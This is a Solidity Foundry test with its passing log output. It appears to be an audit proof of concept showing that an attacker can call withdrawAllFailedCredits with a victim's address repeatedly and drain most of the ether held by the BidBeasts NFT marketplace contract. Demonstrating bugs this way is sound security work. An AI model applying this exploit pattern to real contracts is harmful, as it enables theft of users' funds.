import {console} from "forge-std/Test.sol";
function test_rejectEther() public {
Victim00 victim00 = new Victim00();
address victim00Address = address(victim00);
Victim01 victim01 = new Victim01();
address victim01Address = address(victim01);
Attacker00 attacker00 = new Attacker00();
address attacker00Address = address(attacker00);
vm.deal(victim00Address, STARTING_BALANCE);
vm.deal(victim01Address, STARTING_BALANCE);
vm.deal(attacker00Address, STARTING_BALANCE);
_mintNFT();
_listNFT();
console.log("victim00 places a bid of MIN_PRICE + 0.001 ether");
uint256 bid_price = MIN_PRICE + 0.001 ether;
vm.prank(victim00Address);
market.placeBid{value: bid_price}(TOKEN_ID);
vm.stopPrank();
console.log("victim01 places a bid of 4 ether");
bid_price = 4 ether;
vm.prank(victim01Address);
market.placeBid{value: bid_price}(TOKEN_ID);
vm.stopPrank();
uint256 victim00Balance = victim00Address.balance;
console.log("victim00Balance");
console.log(victim00Balance);
uint256 victim01Balance = victim01Address.balance;
console.log("victim01Balance");
console.log(victim01Balance);
uint256 marketBalance = address(market).balance;
console.log("marketBalance");
console.log(marketBalance);
console.log("attacker00 buys GDNFT 0 at BUY_NOW_PRICE + 0.001 ether");
vm.startPrank(attacker00Address);
uint256 buyPrice = BUY_NOW_PRICE + 0.001 ether;
market.placeBid{value: buyPrice}(TOKEN_ID);
vm.stopPrank();
victim00Balance = victim00Address.balance;
console.log("victim00Balance 2");
console.log(victim00Balance);
victim01Balance = victim01Address.balance;
console.log("victim01Balance 2");
console.log(victim01Balance);
marketBalance = address(market).balance;
console.log("marketBalance 2");
console.log(marketBalance);
uint256 attacker00Balance = attacker00Address.balance;
console.log("attacker00Balance 2");
console.log(attacker00Balance);
uint256 sellerBalance = SELLER.balance;
console.log("sellerBalance");
console.log(sellerBalance);
console.log("attacker00 withdraws victim00 failed credits 5 times to drain market");
vm.startPrank(attacker00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
vm.stopPrank();
attacker00Balance = attacker00Address.balance;
console.log("attacker00Balance 3");
console.log(attacker00Balance);
marketBalance = address(market).balance;
console.log("marketBalance 3");
console.log(marketBalance);
}
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.20
[⠔] Solc 0.8.20 finished in 1.30s
Compiler run successful!
Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] test_rejectEther() (gas: 568733)
Logs:
victim00 places a bid of MIN_PRICE + 0.001 ether
victim01 places a bid of 4 ether
victim00Balance
98999000000000000000
victim01Balance
96000000000000000000
marketBalance
5001000000000000000
attacker00 buys GDNFT 0 at BUY_NOW_PRICE + 0.001 ether
victim00Balance 2
98999000000000000000
victim01Balance 2
96000000000000000000
marketBalance 2
5251000000000000000
attacker00Balance 2
95000000000000000000
sellerBalance
104750000000000000000
attacker00 withdraws victim00 failed credits 5 times to drain market
attacker00Balance 3
100005000000000000000
marketBalance 3
246000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.91ms (1.72ms CPU time)
Ran 1 test suite in 10.10ms (2.91ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)